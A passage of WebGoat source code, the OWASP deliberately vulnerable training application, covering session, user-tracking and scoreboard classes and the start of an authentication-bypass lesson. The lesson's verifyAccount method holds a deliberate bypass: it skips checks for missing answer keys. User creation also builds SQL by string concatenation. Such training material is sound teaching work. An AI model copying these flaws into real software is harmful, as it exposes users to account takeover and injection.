You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container.service; import java.util.ArrayList; import java.util.List; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.Setter; import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.LessonTracker; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; /** * ReportCardService * * @author nbaars * @version $Id: $Id */ @Controller @AllArgsConstructor public class ReportCardService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Course course; private final PluginMessages pluginMessages; /** * Endpoint which generates the report card for the current use to show the stats on the solved * lessons */ @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") @ResponseBody public ReportCard reportCard() { final ReportCard reportCard = new ReportCard(); reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved()); reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved()); for (Lesson lesson : course.getLessons()) { LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); final LessonStatistics lessonStatistics = new LessonStatistics(); lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); lessonStatistics.setSolved(lessonTracker.isLessonSolved()); reportCard.lessonStatistics.add(lessonStatistics); } return reportCard; } @Getter @Setter private final class ReportCard { private int totalNumberOfLessons; private int totalNumberOfAssignments; private int solvedLessons; private int numberOfAssignmentsSolved; private int numberOfLessonsSolved; private List lessonStatistics = new ArrayList<>(); } @Setter @Getter private final class LessonStatistics { private String name; private boolean solved; private int numberOfAttempts; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java ================================================ /*************************************************************************************************** * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2014 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. */ package org.owasp.webgoat.container.service; import java.util.List; import java.util.function.Function; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.flywaydb.core.Flyway; import org.owasp.webgoat.container.lessons.Initializeable; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseStatus; @Controller @AllArgsConstructor @Slf4j public class RestartLessonService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Function flywayLessons; private final List lessonsToInitialize; @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") @ResponseStatus(value = HttpStatus.OK) public void restartLesson() { Lesson al = webSession.getCurrentLesson(); log.debug("Restarting lesson: " + al); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); userTracker.reset(al); userTrackerRepository.save(userTracker); var flyway = flywayLessons.apply(webSession.getUserName()); flyway.clean(); flyway.migrate(); lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser())); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/SessionService.java ================================================ /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package org.owasp.webgoat.container.service; import lombok.RequiredArgsConstructor; import org.owasp.webgoat.container.i18n.Messages; import org.owasp.webgoat.container.session.WebSession; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller @RequiredArgsConstructor public class SessionService { private final WebSession webSession; private final RestartLessonService restartLessonService; private final Messages messages; @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json") @ResponseBody public String applySecurity() { webSession.toggleSecurity(); restartLessonService.restartLesson(); var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled"; return messages.getMessage(msg); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/Course.java ================================================ package org.owasp.webgoat.container.session; import java.util.List; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Bruce Mayhew WebGoat * @version $Id: $Id * @since October 28, 2003 */ @Slf4j public class Course { private List lessons; public Course(List lessons) { this.lessons = lessons; } /** * Gets the categories attribute of the Course object * * @return The categories value */ public List getCategories() { return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList(); } /** * Gets the firstLesson attribute of the Course object * * @return The firstLesson value */ public Lesson getFirstLesson() { // Category 0 is the admin function. We want the first real category // to be returned. This is normally the General category and the Http Basics lesson return getLessons(getCategories().get(0)).get(0); } /** * Getter for the field lessons. * * @return a {@link java.util.List} object. */ public List getLessons() { return this.lessons; } /** * Getter for the field lessons. * * @param category a {@link org.owasp.webgoat.container.lessons.Category} object. * @return a {@link java.util.List} object. */ public List getLessons(Category category) { return this.lessons.stream().filter(l -> l.getCategory() == category).toList(); } public void setLessons(List lessons) { this.lessons = lessons; } public int getTotalOfLessons() { return this.lessons.size(); } public int getTotalOfAssignments() { return this.lessons.stream() .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java ================================================ package org.owasp.webgoat.container.session; import java.io.Serializable; /** * LabelDebugger class. * * @author dm * @version $Id: $Id */ public class LabelDebugger implements Serializable { private boolean enabled = false; /** * isEnabled. * * @return a boolean. */ public boolean isEnabled() { return enabled; } /** Enables label debugging */ public void enable() { this.enabled = true; } /** Disables label debugging */ public void disable() { this.enabled = false; } /** * Sets the status to enabled * * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object */ public void setEnabled(boolean enabled) { this.enabled = enabled; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java ================================================ package org.owasp.webgoat.container.session; import java.util.HashMap; /** Created by jason on 1/4/17. */ public class UserSessionData { private HashMap userSessionData = new HashMap<>(); public UserSessionData() {} public UserSessionData(String key, String value) { setValue(key, value); } // GETTERS & SETTERS public Object getValue(String key) { if (!userSessionData.containsKey(key)) { return null; } // else return userSessionData.get(key); } public void setValue(String key, Object value) { if (userSessionData.containsKey(key)) { userSessionData.replace(key, value); } else { userSessionData.put(key, value); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/session/WebSession.java ================================================ package org.owasp.webgoat.container.session; import java.io.Serializable; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.security.core.context.SecurityContextHolder; /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Jeff Williams Aspect Security * @author Bruce Mayhew WebGoat * @version $Id: $Id * @since October 28, 2003 */ public class WebSession implements Serializable { private static final long serialVersionUID = -4270066103101711560L; private final WebGoatUser currentUser; private transient Lesson currentLesson; private boolean securityEnabled; public WebSession() { this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); } /** * Setter for the field currentScreen. * * @param lesson current lesson */ public void setCurrentLesson(Lesson lesson) { this.currentLesson = lesson; } /** * getCurrentLesson. * * @return a {@link Lesson} object. */ public Lesson getCurrentLesson() { return this.currentLesson; } /** * Gets the userName attribute of the WebSession object * * @return The userName value */ public String getUserName() { return currentUser.getUsername(); } public WebGoatUser getUser() { return currentUser; } public void toggleSecurity() { this.securityEnabled = !this.securityEnabled; } public boolean isSecurityEnabled() { return securityEnabled; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java ================================================ package org.owasp.webgoat.container.users; import java.util.*; import java.util.stream.Collectors; import javax.persistence.*; import lombok.Getter; import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Lesson; /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Bruce Mayhew WebGoat * @version $Id: $Id * @since October 29, 2003 */ @Entity public class LessonTracker { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @Getter private String lessonName; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private final Set solvedAssignments = new HashSet<>(); @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private final Set allAssignments = new HashSet<>(); @Getter private int numberOfAttempts = 0; @Version private Integer version; private LessonTracker() { // JPA } public LessonTracker(Lesson lesson) { lessonName = lesson.getId(); allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments()); } public Optional getAssignment(String name) { return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst(); } /** * Mark an assignment as solved * * @param solvedAssignment the assignment which the user solved */ public void assignmentSolved(String solvedAssignment) { getAssignment(solvedAssignment).ifPresent(solvedAssignments::add); } /** * @return did they user solved all solvedAssignments for the lesson? */ public boolean isLessonSolved() { return allAssignments.size() == solvedAssignments.size(); } /** Increase the number attempts to solve the lesson */ public void incrementAttempts() { numberOfAttempts++; } /** Reset the tracker. We do not reset the number of attempts here! */ void reset() { solvedAssignments.clear(); } /** * @return list containing all the assignments solved or not */ public Map getLessonOverview() { List notSolved = allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList(); Map overview = notSolved.stream().collect(Collectors.toMap(a -> a, b -> false)); overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true))); return overview; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java ================================================ package org.owasp.webgoat.container.users; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.validation.Valid; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.stereotype.Controller; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PostMapping; /** * @author nbaars * @since 3/19/17. */ @Controller @AllArgsConstructor @Slf4j public class RegistrationController { private UserValidator userValidator; private UserService userService; private AuthenticationManager authenticationManager; @GetMapping("/registration") public String showForm(UserForm userForm) { return "registration"; } @PostMapping("/register.mvc") public String registration( @ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException { userValidator.validate(userForm, bindingResult); if (bindingResult.hasErrors()) { return "registration"; } userService.addUser(userForm.getUsername(), userForm.getPassword()); request.login(userForm.getUsername(), userForm.getPassword()); return "redirect:/attack"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java ================================================ package org.owasp.webgoat.container.users; import java.util.ArrayList; import java.util.List; import java.util.Optional; import lombok.AllArgsConstructor; import lombok.Getter; import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.Course; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; /** * Temp endpoint just for the CTF. * * @author nbaars * @since 3/23/17. */ @RestController @AllArgsConstructor public class Scoreboard { private final UserTrackerRepository userTrackerRepository; private final UserRepository userRepository; private final Course course; private final PluginMessages pluginMessages; @AllArgsConstructor @Getter private class Ranking { private String username; private List flagsCaptured; } @GetMapping("/scoreboard-data") public List getRankings() { List allUsers = userRepository.findAll(); List rankings = new ArrayList<>(); for (WebGoatUser user : allUsers) { if (user.getUsername().startsWith("csrf-")) { // the csrf- assignment specific users do not need to be in the overview continue; } UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); } /* sort on number of captured flags to present an ordered ranking */ rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size()); return rankings; } private List challengesSolved(UserTracker userTracker) { List challenges = List.of( "Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9"); return challenges.stream() .map(userTracker::getLessonTracker) .flatMap(Optional::stream) .filter(LessonTracker::isLessonSolved) .map(LessonTracker::getLessonName) .map(this::toLessonTitle) .toList(); } private String toLessonTitle(String id) { String titleKey = course.getLessons().stream() .filter(l -> l.getId().equals(id)) .findFirst() .map(Lesson::getTitle) .orElse("No title"); return pluginMessages.getMessage(titleKey, titleKey); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserForm.java ================================================ package org.owasp.webgoat.container.users; import javax.validation.constraints.NotNull; import javax.validation.constraints.Pattern; import javax.validation.constraints.Size; import lombok.Getter; import lombok.Setter; /** * @author nbaars * @since 3/19/17. */ @Getter @Setter public class UserForm { @NotNull @Size(min = 6, max = 45) @Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -") private String username; @NotNull @Size(min = 6, max = 10) private String password; @NotNull @Size(min = 6, max = 10) private String matchingPassword; @NotNull private String agree; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserRepository.java ================================================ package org.owasp.webgoat.container.users; import java.util.List; import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars * @since 3/19/17. */ public interface UserRepository extends JpaRepository { WebGoatUser findByUsername(String username); List findAll(); boolean existsByUsername(String username); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserService.java ================================================ package org.owasp.webgoat.container.users; import java.util.List; import java.util.function.Function; import lombok.AllArgsConstructor; import org.flywaydb.core.Flyway; import org.owasp.webgoat.container.lessons.Initializeable; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; /** * @author nbaars * @since 3/19/17. */ @Service @AllArgsConstructor public class UserService implements UserDetailsService { private final UserRepository userRepository; private final UserTrackerRepository userTrackerRepository; private final JdbcTemplate jdbcTemplate; private final Function flywayLessons; private final List lessonInitializables; @Override public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException { WebGoatUser webGoatUser = userRepository.findByUsername(username); if (webGoatUser == null) { throw new UsernameNotFoundException("User not found"); } else { webGoatUser.createUser(); lessonInitializables.forEach(l -> l.initialize(webGoatUser)); } return webGoatUser; } public void addUser(String username, String password) { // get user if there exists one by the name var userAlreadyExists = userRepository.existsByUsername(username); var webGoatUser = userRepository.save(new WebGoatUser(username, password)); if (!userAlreadyExists) { userTrackerRepository.save( new UserTracker(username)); // if user previously existed it will not get another tracker createLessonsForUser(webGoatUser); } } private void createLessonsForUser(WebGoatUser webGoatUser) { jdbcTemplate.execute("CREATE SCHEMA \"" + webGoatUser.getUsername() + "\" authorization dba"); flywayLessons.apply(webGoatUser.getUsername()).migrate(); } public List getAllUsers() { return userRepository.findAll(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserSession.java ================================================ package org.owasp.webgoat.container.users; import lombok.AccessLevel; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import org.springframework.data.annotation.Id; /** * @author nbaars * @since 8/15/17. */ @Getter @AllArgsConstructor @NoArgsConstructor(access = AccessLevel.PROTECTED) public class UserSession { private WebGoatUser webGoatUser; @Id private String sessionId; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserTracker.java ================================================ package org.owasp.webgoat.container.users; import java.util.HashSet; import java.util.Map; import java.util.Optional; import java.util.Set; import java.util.stream.Collectors; import javax.persistence.*; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Lesson; /** * ************************************************************************************************ * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Bruce Mayhew WebGoat * @version $Id: $Id * @since October 29, 2003 */ @Slf4j @Entity public class UserTracker { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @Column(name = "username") private String user; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private Set lessonTrackers = new HashSet<>(); private UserTracker() {} public UserTracker(final String user) { this.user = user; } /** * Returns an existing lesson tracker or create a new one based on the lesson * * @param lesson the lesson * @return a lesson tracker created if not already present */ public LessonTracker getLessonTracker(Lesson lesson) { Optional lessonTracker = lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst(); if (!lessonTracker.isPresent()) { LessonTracker newLessonTracker = new LessonTracker(lesson); lessonTrackers.add(newLessonTracker); return newLessonTracker; } else { return lessonTracker.get(); } } /** * Query method for finding a specific lesson tracker based on id * * @param id the id of the lesson * @return optional due to the fact we can only create a lesson tracker based on a lesson */ public Optional getLessonTracker(String id) { return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst(); } public void assignmentSolved(Lesson lesson, String assignmentName) { LessonTracker lessonTracker = getLessonTracker(lesson); lessonTracker.incrementAttempts(); lessonTracker.assignmentSolved(assignmentName); } public void assignmentFailed(Lesson lesson) { LessonTracker lessonTracker = getLessonTracker(lesson); lessonTracker.incrementAttempts(); } public void reset(Lesson al) { LessonTracker lessonTracker = getLessonTracker(al); lessonTracker.reset(); } public int numberOfLessonsSolved() { int numberOfLessonsSolved = 0; for (LessonTracker lessonTracker : lessonTrackers) { if (lessonTracker.isLessonSolved()) { numberOfLessonsSolved = numberOfLessonsSolved + 1; } } return numberOfLessonsSolved; } public int numberOfAssignmentsSolved() { int numberOfAssignmentsSolved = 0; for (LessonTracker lessonTracker : lessonTrackers) { Map lessonOverview = lessonTracker.getLessonOverview(); numberOfAssignmentsSolved = lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue(); } return numberOfAssignmentsSolved; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java ================================================ package org.owasp.webgoat.container.users; import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars * @since 4/30/17. */ public interface UserTrackerRepository extends JpaRepository { UserTracker findByUser(String user); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/UserValidator.java ================================================ package org.owasp.webgoat.container.users; import lombok.AllArgsConstructor; import org.springframework.stereotype.Component; import org.springframework.validation.Errors; import org.springframework.validation.Validator; /** * @author nbaars * @since 3/19/17. */ @Component @AllArgsConstructor public class UserValidator implements Validator { private final UserRepository userRepository; @Override public boolean supports(Class clazz) { return UserForm.class.equals(clazz); } @Override public void validate(Object o, Errors errors) { UserForm userForm = (UserForm) o; if (userRepository.findByUsername(userForm.getUsername()) != null) { errors.rejectValue("username", "username.duplicate"); } if (!userForm.getMatchingPassword().equals(userForm.getPassword())) { errors.rejectValue("matchingPassword", "password.diff"); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java ================================================ package org.owasp.webgoat.container.users; import java.util.Collection; import java.util.Collections; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.Transient; import lombok.Getter; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; /** * @author nbaars * @since 3/19/17. */ @Getter @Entity public class WebGoatUser implements UserDetails { public static final String ROLE_USER = "WEBGOAT_USER"; public static final String ROLE_ADMIN = "WEBGOAT_ADMIN"; @Id private String username; private String password; private String role = ROLE_USER; @Transient private User user; protected WebGoatUser() {} public WebGoatUser(String username, String password) { this(username, password, ROLE_USER); } public WebGoatUser(String username, String password, String role) { this.username = username; this.password = password; this.role = role; createUser(); } public void createUser() { this.user = new User(username, password, getAuthorities()); } public Collection getAuthorities() { return Collections.singleton(new SimpleGrantedAuthority(getRole())); } public String getRole() { return this.role; } public String getUsername() { return this.username; } public String getPassword() { return this.password; } @Override public boolean isAccountNonExpired() { return this.user.isAccountNonExpired(); } @Override public boolean isAccountNonLocked() { return this.user.isAccountNonLocked(); } @Override public boolean isCredentialsNonExpired() { return this.user.isCredentialsNonExpired(); } @Override public boolean isEnabled() { return this.user.isEnabled(); } public boolean equals(Object obj) { return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user); } public int hashCode() { return user.hashCode(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/AccountVerificationHelper.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.authbypass; import java.util.HashMap; import java.util.Map; /** Created by appsec on 7/18/17. */ public class AccountVerificationHelper { // simulating database storage of verification credentials private static final Integer verifyUserId = 1223445; private static final Map userSecQuestions = new HashMap<>(); static { userSecQuestions.put("secQuestion0", "Dr. Watson"); userSecQuestions.put("secQuestion1", "Baker Street"); } private static final Map secQuestionStore = new HashMap<>(); static { secQuestionStore.put(verifyUserId, userSecQuestions); } // end 'data store set up' // this is to aid feedback in the attack process and is not intended to be part of the // 'vulnerable' code public boolean didUserLikelylCheat(HashMap submittedAnswers) { boolean likely = false; if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) { likely = true; } if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers .get("secQuestion0") .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers .get("secQuestion1") .equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) { likely = true; } else { likely = false; } return likely; } // end of cheating check ... the method below is the one of real interest. Can you find the flaw? public boolean verifyAccount(Integer userId, HashMap submittedQuestions) { // short circuit if no questions are submitted if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { return false; } if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions .get("secQuestion0") .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { return false; } if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions .get("secQuestion1") .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { return false; } // else return true; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/AuthBypass.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.authbypass; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class AuthBypass extends Lesson { @Override public Category getDefaultCategory() { return Category.A7; } @Override public String getTitle() { return "auth-bypass.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/authbypass/VerifyAccount.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.authbypass; import java.io.IOException; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** Created by jason on 1/5/17. */ @RestController @AssignmentHints({ 